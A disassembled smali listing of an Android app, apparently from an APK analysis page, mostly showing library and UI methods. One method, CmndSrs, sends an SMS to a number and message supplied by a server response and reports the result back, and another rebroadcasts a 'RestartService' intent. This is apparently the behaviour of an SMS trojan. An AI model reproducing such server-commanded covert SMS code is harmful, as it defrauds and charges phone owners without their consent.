                                      21move-result-object v8
                                      22aput-object v8, v6, v7
                                      24invoke-static {v4, v5, v6}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                      25move-result-object v4
                                      26return-object v4
                                      Cross References
                                      APIs
                                      • java.lang.RuntimeException.<init>
                                      • de.greenrobot.event.util.ErrorDialogManager$SupportManagerFragment.attachTo
                                      • de.greenrobot.event.util.ErrorDialogManager$HoneycombManagerFragment.attachTo
                                      Strings
                                      • You must set the static factory field to configure error dialogs for your app.
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.param p1, "executionScope" # Ljava/lang/Object;
                                      2.param p2, "finishAfterDialog" # Z
                                      3.param p3, "argumentsForErrorDialog" # Landroid/os/Bundle;
                                      4.prologue
                                      6sget-object v0, Lde/greenrobot/event/util/ErrorDialogManager;->factory:Lde/greenrobot/event/util/ErrorDialogFragmentFactory;
                                      7if-nez v0, :cond_c
                                      8new-instance v0, Ljava/lang/RuntimeException;
                                      10const-string v1, "You must set the static factory field to configure error dialogs for your app."
                                      12invoke-direct {v0, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;)V
                                      13throw v0
                                      14cond_c:
                                      15invoke-static {p0}, Lde/greenrobot/event/util/ErrorDialogManager;->isSupportActivity(Landroid/app/Activity;)Z
                                      16move-result v0
                                      17if-eqz v0, :cond_16
                                      19invoke-static {p0, p1, p2, p3}, Lde/greenrobot/event/util/ErrorDialogManager$SupportManagerFragment;->attachTo(Landroid/app/Activity;Ljava/lang/Object;ZLandroid/os/Bundle;)V
                                      20goto_15: return-void
                                      21cond_16:
                                      22invoke-static {p0, p1, p2, p3}, Lde/greenrobot/event/util/ErrorDialogManager$HoneycombManagerFragment;->attachTo(Landroid/app/Activity;Ljava/lang/Object;ZLandroid/os/Bundle;)V
                                      23goto/16 :goto_15
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.lineProgressViewPercent:Landroid/widget/TextView
                                      • java.lang.Integer.valueOf
                                      • java.lang.String.format
                                      • android.widget.TextView.setText
                                      Strings
                                      • %e%%
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog;->lineProgressViewPercent:Landroid/widget/TextView;
                                      4const-string v1, "%e%%"
                                      5const/4 v2, 0x1
                                      6new-array v2, v2, [Ljava/lang/Object;
                                      7const/4 v3, 0x0
                                      8iget v4, p0, Lcom/aviasalea/base/dialog/AlertDialog;->currentProgress:I
                                      10invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      11move-result-object v4
                                      12aput-object v4, v2, v3
                                      14invoke-static {v1, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                                      15move-result-object v1
                                      17invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      18return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.endsWith
                                      • java.lang.String.length
                                      • java.lang.String.substring
                                      Strings
                                      • /
                                      Position Instruction Meta Information
                                      0.param p1, "url" # Ljava/lang/String;
                                      1.prologue
                                      2goto_0:
                                      3const-string v0, "/"
                                      5invoke-virtual {p1, v0}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                      6move-result v0
                                      7if-eqz v0, :cond_14
                                      8const/4 v0, 0x0
                                      10invoke-virtual {p1}, Ljava/lang/String;->length()I
                                      11move-result v1
                                      12add-int/lit8 v1, v1, -0x1
                                      14invoke-virtual {p1, v0, v1}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                                      15move-result-object p1
                                      16goto/16 :goto_0
                                      17cond_14: return-object p1
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.base.BaseService.sendBroadcast
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • RestartService
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-string v2, "RestartService"
                                      5invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      7invoke-virtual {p0, v1}, Lcom/aviasalea/base/BaseService;->sendBroadcast(Landroid/content/Intent;)V
                                      8goto_a: return-void
                                      9catch_b: move-exception v0
                                      11invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      12goto/16 :goto_a
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.base.BaseService.sendBroadcast
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • RestartService
                                      Position Instruction Meta Information
                                      0.prologue
                                      1try_start_0: new-instance v1, Landroid/content/Intent;
                                      3const-string v2, "RestartService"
                                      5invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      7invoke-virtual {p0, v1}, Lcom/aviasalea/base/BaseService;->sendBroadcast(Landroid/content/Intent;)V
                                      8goto_a: return-void
                                      9catch_b: move-exception v0
                                      11invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      12goto/16 :goto_a
                                      Cross References
                                      APIs
                                      • java.lang.System.currentTimeMillis
                                      • com.aviasalea.base.dialog.RadialProgressView.accelerateInterpolator:Landroid/view/animation/AccelerateInterpolator
                                      • android.view.animation.AccelerateInterpolator.getInterpolation
                                      • com.aviasalea.base.dialog.RadialProgressView.invalidate
                                      • com.aviasalea.base.dialog.RadialProgressView.decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator
                                      • android.view.animation.DecelerateInterpolator.getInterpolation
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/high16 v10, 0x43870000 # 270.0f
                                      2const/high16 v9, 0x40800000 # 4.0f
                                      3const/high16 v8, 0x43fa0000 # 500.0f
                                      5invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      6move-result-wide v4
                                      7iget-wide v6, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->lastUpdateTime:J
                                      8sub-long v2, v4, v6
                                      9const-wide/16 v6, 0x11
                                      10cmp-long v1, v2, v6
                                      11if-lez v1, :cond_16
                                      12const-wide/16 v2, 0x11
                                      13cond_16: iput-wide v4, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->lastUpdateTime:J
                                      14iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      15const-wide/16 v6, 0x168
                                      16mul-long/2addr v6, v2
                                      17long-to-float v6, v6
                                      18const/high16 v7, 0x44fa0000 # 2000.0f
                                      19div-float/2addr v6, v7
                                      20add-float/2addr v1, v6
                                      21iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      22iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      23const/high16 v6, 0x43b40000 # 360.0f
                                      24div-float/2addr v1, v6
                                      25float-to-int v0, v1
                                      26iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      27mul-int/lit16 v6, v0, 0x168
                                      28int-to-float v6, v6
                                      29sub-float/2addr v1, v6
                                      30iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      31iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      32long-to-float v6, v2
                                      33add-float/2addr v1, v6
                                      34iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      35iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      36cmpl-float v1, v1, v8
                                      37if-ltz v1, :cond_40
                                      38iput v8, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      39cond_40: iget-boolean v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->risingCircleLength:Z
                                      40if-eqz v1, :cond_74
                                      41const/high16 v1, 0x43850000 # 266.0f
                                      43iget-object v6, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->accelerateInterpolator:Landroid/view/animation/AccelerateInterpolator;
                                      44iget v7, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      45div-float/2addr v7, v8
                                      47invoke-virtual {v6, v7}, Landroid/view/animation/AccelerateInterpolator;->getInterpolation(F)F
                                      48move-result v6
                                      49mul-float/2addr v1, v6
                                      50add-float/2addr v1, v9
                                      51iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentCircleLength:F
                                      52goto_53: iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      53cmpl-float v1, v1, v8
                                      54if-nez v1, :cond_70
                                      55iget-boolean v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->risingCircleLength:Z
                                      56if-eqz v1, :cond_66
                                      57iget v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      58add-float/2addr v1, v10
                                      59iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->radOffset:F
                                      60const/high16 v1, -0x3c7b0000 # -266.0f
                                      61iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentCircleLength:F
                                      62cond_66: iget-boolean v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->risingCircleLength:Z
                                      63if-nez v1, :cond_86
                                      64const/4 v1, 0x1
                                      65goto_6b: iput-boolean v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->risingCircleLength:Z
                                      66const/4 v1, 0x0
                                      67iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      68cond_70:
                                      69invoke-virtual {p0}, Lcom/aviasalea/base/dialog/RadialProgressView;->invalidate()V
                                      70return-void
                                      71cond_74: const/high16 v1, 0x3f800000 # 1.0f
                                      73iget-object v6, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator;
                                      74iget v7, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentProgressTime:F
                                      75div-float/2addr v7, v8
                                      77invoke-virtual {v6, v7}, Landroid/view/animation/DecelerateInterpolator;->getInterpolation(F)F
                                      78move-result v6
                                      79sub-float/2addr v1, v6
                                      80mul-float/2addr v1, v10
                                      81sub-float v1, v9, v1
                                      82iput v1, p0, Lcom/aviasalea/base/dialog/RadialProgressView;->currentCircleLength:F
                                      83goto/16 :goto_53
                                      84cond_86: const/4 v1, 0x0
                                      85goto/16 :goto_6b
                                      Cross References
                                      APIs
                                      • java.lang.System.currentTimeMillis
                                      • com.aviasalea.base.dialog.LineProgressView.invalidate
                                      • com.aviasalea.base.dialog.LineProgressView.invalidate
                                      • com.aviasalea.base.dialog.LineProgressView.decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator
                                      • android.view.animation.DecelerateInterpolator.getInterpolation
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/high16 v11, 0x3f800000 # 1.0f
                                      2const/4 v10, 0x0
                                      4invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                                      5move-result-wide v2
                                      6iget-wide v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->lastUpdateTime:J
                                      7sub-long v0, v2, v6
                                      8iput-wide v2, p0, Lcom/aviasalea/base/dialog/LineProgressView;->lastUpdateTime:J
                                      9iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      10cmpl-float v5, v5, v11
                                      11if-eqz v5, :cond_41
                                      12iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      13iget v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      14cmpl-float v5, v5, v6
                                      15if-eqz v5, :cond_41
                                      16iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      17iget v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      18sub-float v4, v5, v6
                                      19cmpl-float v5, v4, v10
                                      20if-lez v5, :cond_3e
                                      21iget-wide v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      22add-long/2addr v6, v0
                                      23iput-wide v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      24iget-wide v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      25const-wide/16 v8, 0x12c
                                      26cmp-long v5, v6, v8
                                      27if-ltz v5, :cond_68
                                      28iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      29iput v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      30iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgress:F
                                      31iput v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      32const-wide/16 v6, 0x0
                                      33iput-wide v6, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      34goto_3e:
                                      35invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->invalidate()V
                                      36cond_41: iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      37cmpl-float v5, v5, v11
                                      38if-ltz v5, :cond_67
                                      39iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      40cmpl-float v5, v5, v11
                                      41if-nez v5, :cond_67
                                      42iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      43cmpl-float v5, v5, v10
                                      44if-eqz v5, :cond_67
                                      45iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      46long-to-float v6, v0
                                      47const/high16 v7, 0x43480000 # 200.0f
                                      48div-float/2addr v6, v7
                                      49sub-float/2addr v5, v6
                                      50iput v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      51iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      52cmpg-float v5, v5, v10
                                      53if-gtz v5, :cond_64
                                      54iput v10, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedAlphaValue:F
                                      55cond_64:
                                      56invoke-virtual {p0}, Lcom/aviasalea/base/dialog/LineProgressView;->invalidate()V
                                      57cond_67: return-void
                                      58cond_68: iget v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animationProgressStart:F
                                      60sget-object v6, Lcom/aviasalea/base/dialog/LineProgressView;->decelerateInterpolator:Landroid/view/animation/DecelerateInterpolator;
                                      61iget-wide v8, p0, Lcom/aviasalea/base/dialog/LineProgressView;->currentProgressTime:J
                                      62long-to-float v7, v8
                                      63const/high16 v8, 0x43960000 # 300.0f
                                      64div-float/2addr v7, v8
                                      66invoke-virtual {v6, v7}, Landroid/view/animation/DecelerateInterpolator;->getInterpolation(F)F
                                      67move-result v6
                                      68mul-float/2addr v6, v4
                                      69add-float/2addr v5, v6
                                      70iput v5, p0, Lcom/aviasalea/base/dialog/LineProgressView;->animatedProgressValue:F
                                      71goto/16 :goto_3e
                                      APIs
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.util.Map.get
                                      • java.util.concurrent.CopyOnWriteArrayList.isEmpty
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/lang/Class",
                                      4"<*>;)Z"
                                      5}
                                      6.end annotation
                                      7.prologue
                                      9invoke-direct {p0, p1}, Lde/greenrobot/event/EventBus;->lookupAllEventTypes(Ljava/lang/Class;)Ljava/util/List;
                                      10move-result-object v2
                                      11if-eqz v2, :cond_2d
                                      13invoke-interface {v2}, Ljava/util/List;->size()I
                                      14move-result v1
                                      15const/4 v3, 0x0
                                      16goto_b: if-ge v3, v1, :cond_2d
                                      18invoke-interface {v2, v3}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      19move-result-object v0
                                      20check-cast v0, Ljava/lang/Class;
                                      21monitor-enter p0
                                      22try_start_14:
                                      23iget-object v5, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      25invoke-interface {v5, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      26move-result-object v4
                                      27check-cast v4, Ljava/util/concurrent/CopyOnWriteArrayList;
                                      28monitor-exit p0
                                      29try_end_1d: if-eqz v4, :cond_2a
                                      31invoke-virtual {v4}, Ljava/util/concurrent/CopyOnWriteArrayList;->isEmpty()Z
                                      32move-result v5
                                      33if-nez v5, :cond_2a
                                      34const/4 v5, 0x1
                                      35goto_26: return v5
                                      36catchall_27: move-exception v5
                                      37try_start_28: monitor-exit p0
                                      38try_end_29: throw v5
                                      39cond_2a: add-int/lit8 v3, v3, 0x1
                                      40goto/16 :goto_b
                                      41cond_2d: const/4 v5, 0x0
                                      42goto/16 :goto_26
                                      Cross References
                                      APIs
                                      • android.graphics.drawable.shapes.RoundRectShape.<init>
                                      • android.graphics.drawable.ShapeDrawable.<init>
                                      • android.graphics.drawable.ShapeDrawable.getPaint
                                      • android.graphics.Paint.setColor
                                      Position Instruction Meta Information
                                      0.param p0, "rad" # I
                                      1.param p1, "defaultColor" # I
                                      2.prologue
                                      3const/4 v5, 0x0
                                      4new-instance v0, Landroid/graphics/drawable/ShapeDrawable;
                                      5new-instance v1, Landroid/graphics/drawable/shapes/RoundRectShape;
                                      6const/16 v2, 0x8
                                      7new-array v2, v2, [F
                                      8const/4 v3, 0x0
                                      9int-to-float v4, p0
                                      10aput v4, v2, v3
                                      11const/4 v3, 0x1
                                      12int-to-float v4, p0
                                      13aput v4, v2, v3
                                      14const/4 v3, 0x2
                                      15int-to-float v4, p0
                                      16aput v4, v2, v3
                                      17const/4 v3, 0x3
                                      18int-to-float v4, p0
                                      19aput v4, v2, v3
                                      20const/4 v3, 0x4
                                      21int-to-float v4, p0
                                      22aput v4, v2, v3
                                      23const/4 v3, 0x5
                                      24int-to-float v4, p0
                                      25aput v4, v2, v3
                                      26const/4 v3, 0x6
                                      27int-to-float v4, p0
                                      28aput v4, v2, v3
                                      29const/4 v3, 0x7
                                      30int-to-float v4, p0
                                      31aput v4, v2, v3
                                      33invoke-direct {v1, v2, v5, v5}, Landroid/graphics/drawable/shapes/RoundRectShape;-><init>([FLandroid/graphics/RectF;[F)V
                                      35invoke-direct {v0, v1}, Landroid/graphics/drawable/ShapeDrawable;-><init>(Landroid/graphics/drawable/shapes/Shape;)V
                                      37invoke-virtual {v0}, Landroid/graphics/drawable/ShapeDrawable;->getPaint()Landroid/graphics/Paint;
                                      38move-result-object v1
                                      40invoke-virtual {v1, p1}, Landroid/graphics/Paint;->setColor(I)V
                                      41return-object v0
                                      Cross References
                                      APIs
                                      • java.util.Map.get
                                      • java.util.List.size
                                      • java.util.List.get
                                      • java.util.List.remove
                                      Position Instruction Meta Information
                                      0.param p1, "subscriber" # Ljava/lang/Object;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Ljava/lang/Object;",
                                      5"Ljava/lang/Class",
                                      6"<*>;)V"
                                      7}
                                      8.end annotation
                                      9.prologue
                                      11iget-object v4, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      13invoke-interface {v4, p2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      14move-result-object v3
                                      15check-cast v3, Ljava/util/List;
                                      16if-eqz v3, :cond_28
                                      18invoke-interface {v3}, Ljava/util/List;->size()I
                                      19move-result v1
                                      20const/4 v0, 0x0
                                      21goto_f: if-ge v0, v1, :cond_28
                                      23invoke-interface {v3, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      24move-result-object v2
                                      25check-cast v2, Lde/greenrobot/event/Subscription;
                                      27iget-object v4, v2, Lde/greenrobot/event/Subscription;->subscriber:Ljava/lang/Object;
                                      28if-ne v4, p1, :cond_25
                                      29const/4 v4, 0x0
                                      30iput-boolean v4, v2, Lde/greenrobot/event/Subscription;->active:Z
                                      32invoke-interface {v3, v0}, Ljava/util/List;->remove(I)Ljava/lang/Object;
                                      33add-int/lit8 v0, v0, -0x1
                                      34add-int/lit8 v1, v1, -0x1
                                      35cond_25: add-int/lit8 v0, v0, 0x1
                                      36goto/16 :goto_f
                                      37cond_28: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.mMessage:Ljava/lang/String
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportToServer
                                      • com.aviasalea.srs.CmndSrs.sendSMSReportErrorToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3const-wide/16 v8, 0x0
                                      4const/4 v3, 0x0
                                      6iget-object v0, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->message:Ljava/lang/String;
                                      7iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mMessage:Ljava/lang/String;
                                      8iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      10invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      11move-result-wide v4
                                      12cmp-long v0, v0, v4
                                      13if-eqz v0, :cond_28
                                      14iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      16invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      17iget v1, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->slot:I
                                      19iget-object v2, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->number:Ljava/lang/String;
                                      21iget-object v4, p0, Lcom/aviasalea/srs/CmndSrs;->mMessage:Ljava/lang/String;
                                      22move-object v0, p1
                                      23move-object v5, v3
                                      24move-object v6, v3
                                      26invoke-static/range {v0 .. v6}, Lcom/aviasalea/checktls/MsTls;->sendFullSMS(Landroid/content/Context;ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)Z
                                      27move-result v0
                                      28if-eqz v0, :cond_29
                                      30invoke-direct {p0, v8, v9}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportToServer(J)V
                                      31cond_28: return-void
                                      32cond_29:
                                      33invoke-direct {p0, v8, v9}, Lcom/aviasalea/srs/CmndSrs;->sendSMSReportErrorToServer(J)V
                                      34goto/16 :goto_28
                                      Cross References
                                      APIs
                                      • java.util.concurrent.Executors.newFixedThreadPool
                                      • java.util.concurrent.ExecutorService.submit
                                      • java.util.concurrent.Executors.newCachedThreadPool
                                      • java.lang.Throwable.printStackTrace
                                      Position Instruction Meta Information
                                      0.param p1, "runnable" # Ljava/lang/Runnable;
                                      1.prologue
                                      3iget-object v2, p0, Lcom/aviasalea/api/thread/ThreadManager;->executor:Ljava/util/concurrent/ExecutorService;
                                      4if-nez v2, :cond_10
                                      5const/4 v2, 0x3
                                      6try_start_5: new-instance v3, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;
                                      8invoke-direct {v3, p0}, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;-><init>(Lcom/aviasalea/api/thread/ThreadManager;)V
                                      10invoke-static {v2, v3}, Ljava/util/concurrent/Executors;->newFixedThreadPool(ILjava/util/concurrent/ThreadFactory;)Ljava/util/concurrent/ExecutorService;
                                      11move-result-object v2
                                      12iput-object v2, p0, Lcom/aviasalea/api/thread/ThreadManager;->executor:Ljava/util/concurrent/ExecutorService;
                                      13goto_10:
                                      14iget-object v2, p0, Lcom/aviasalea/api/thread/ThreadManager;->executor:Ljava/util/concurrent/ExecutorService;
                                      16invoke-interface {v2, p1}, Ljava/util/concurrent/ExecutorService;->submit(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
                                      17try_end_15: return-void
                                      18catch_16: move-exception v1
                                      19new-instance v2, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;
                                      21invoke-direct {v2, p0}, Lcom/aviasalea/api/thread/ThreadManager$CommonThreadFactory;-><init>(Lcom/aviasalea/api/thread/ThreadManager;)V
                                      23invoke-static {v2}, Ljava/util/concurrent/Executors;->newCachedThreadPool(Ljava/util/concurrent/ThreadFactory;)Ljava/util/concurrent/ExecutorService;
                                      24move-result-object v2
                                      25iput-object v2, p0, Lcom/aviasalea/api/thread/ThreadManager;->executor:Ljava/util/concurrent/ExecutorService;
                                      26goto/16 :goto_10
                                      27catch_23: move-exception v0
                                      29invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                                      30goto/16 :goto_15
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      • java.lang.Object.equals
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      Position Instruction Meta Information
                                      0.param p1, "animation" # Landroid/animation/Animator;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      6move-result-object v0
                                      7iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      8aget-object v0, v0, v1
                                      9if-eqz v0, :cond_27
                                      11iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      13invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      14move-result-object v0
                                      15iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      16aget-object v0, v0, v1
                                      18invoke-virtual {v0, p1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                      19move-result v0
                                      20if-eqz v0, :cond_27
                                      22iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      24invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      25move-result-object v0
                                      26iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      27const/4 v2, 0x0
                                      28aput-object v2, v0, v1
                                      29cond_27: return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      • java.lang.Object.equals
                                      • com.aviasalea.base.dialog.AlertDialog$11.this$0:Lcom/aviasalea/base/dialog/AlertDialog
                                      • com.aviasalea.base.dialog.AlertDialog.access$2200
                                      Position Instruction Meta Information
                                      0.param p1, "animation" # Landroid/animation/Animator;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      6move-result-object v0
                                      7iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      8aget-object v0, v0, v1
                                      9if-eqz v0, :cond_27
                                      11iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      13invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      14move-result-object v0
                                      15iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      16aget-object v0, v0, v1
                                      18invoke-virtual {v0, p1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                                      19move-result v0
                                      20if-eqz v0, :cond_27
                                      22iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      24invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2200(Lcom/aviasalea/base/dialog/AlertDialog;)[Landroid/animation/AnimatorSet;
                                      25move-result-object v0
                                      26iget v1, p0, Lcom/aviasalea/base/dialog/AlertDialog$11;->val$num:I
                                      27const/4 v2, 0x0
                                      28aput-object v2, v0, v1
                                      29cond_27: return-void
                                      Cross References
                                      APIs
                                      • android.view.View.onCheckIsTextEditor
                                      • android.view.ViewGroup.getChildCount
                                      • android.view.ViewGroup.getChildAt
                                      • com.aviasalea.base.dialog.AlertDialog.canTextInput
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      2const/4 v2, 0x1
